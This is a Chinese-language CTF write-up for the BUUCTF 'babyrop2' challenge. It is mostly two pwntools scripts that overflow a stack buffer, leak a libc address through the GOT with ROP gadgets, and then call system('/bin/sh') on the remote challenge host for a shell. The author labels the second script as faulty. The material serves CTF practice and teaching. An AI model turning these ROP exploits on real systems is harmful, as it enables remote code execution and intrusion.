又是babyrop这类题目,确实这类题目有个特点,他喜欢藏flag喜欢放在home里面
    image.png
    64位文件,buf很明显存在漏洞
    这里有一点说一下
    v3 = read(0,buf,0x100ull)
    这里v3等于啥呢,等于buf输入长度加一,最高是第三个参数的值,这里什么意思呢就是buf末尾是\x00
    这类题目太多了
    直接贴了嘿嘿,我遇到了和学长一样的问题,用printf来泄露竟然接受都接受不了,哎,反正就这样吧,以后再说了,抄了份wp

    1. from LibcSearcher import LibcSearcher
    2. from pwn import *
    3. context.log_level = 'debug'
    4. # io = process("./baby_rop2")
    5. io = remote("node4.buuoj.cn",27505)
    6. elf = ELF("./babyrop2")
    7. printf_plt = elf.plt["printf"]
    8. printf_got = elf.got["printf"]
    9. read_got = elf.got["read"]
    10. main_plt = elf.symbols["main"]
    11. pop_rdi_ret = 0x0400733
    12. pop_rsi_r15_ret = 0x0400731
    13. str_addr = 0x0000400770
    14. payload1 = b"A"*(0x20+8)
    15. payload1 += p64(pop_rdi_ret) + p64(str_addr)
    16. payload1 += p64(pop_rsi_r15_ret) + p64(read_got) + p64(0x1)
    17. payload1 += p64(printf_plt) + p64(main_plt)
    18. io.recvuntil("What's your name? ")
    19. io.sendline(payload1)
    20. # io.recvline()
    21. # io.recvuntil("again, ")
    22. # printf_addr = io.recvuntil("!\n",True)
    23. # print(printf_addr)
    24. # printf_addr = u64(printf_addr.ljust(8,"\x00"))
    25. # io.recvline()
    26. # pause()
    27. read_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
    28. print(read_addr)
    29. libc = LibcSearcher('read', read_addr)
    30. libcbase = read_addr - libc.dump('read')
    31. system_addr = libcbase + libc.dump('system')
    32. binsh_addr = libcbase + libc.dump('str_bin_sh')
    33. print(system_addr)
    34. print(binsh_addr)
    35. payload2 = b"A"*(0x20+8)
    36. payload2 += p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr) + p64(0)
    37. io.recvuntil("What's your name? ")
    38. io.sendline(payload2)
    39. io.interactive()

    出错wp,printf用rop传参也一样出现问题。

    1. from pwn import *
    2. from LibcSearcher import*
    3. context(log_level = 'debug')
    4. #io = process("babyrop2")
    5. io = remote("node4.buuoj.cn",27505)
    6. #context.arch = "amd64"
    7. elf = ELF('babyrop2')
    8. offest = 0x28
    9. printf_got = elf.got['printf']
    10. printf_plt = elf.plt['printf']
    11. main_addr = elf.sym['main']
    12. libc_start = 0x0000000000400710
    13. libc_end = 0x000000000040072A
    14. pop_rdi_addr =0x0000000000400733
    15. io.recvuntil("What's your name? ")
    16. payload = b'a'*offest + p64(pop_rdi_addr)+p64(printf_got)+p64(printf_plt)+ p64(main_addr)
    17. io.sendline(payload)
    18. printf_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
    19. log.success('printf_addr ==>'+hex(printf_addr))
    20. libc = LibcSearcher("printf",printf_addr)
    21. libcbase =printf_addr - libc.dump('printf')
    22. system_addr =libcbase +libc.dump('system')
    23. bin_sh_addr =libcbase + libc.dump("str_bin_sh")
    24. payload1 = b'a' *offest +p64(pop_rdi_addr)+p64(bin_sh_addr)+p64(system_addr)+b'a'*8
    25. io.sendline(payload1)
    26. io.interactive()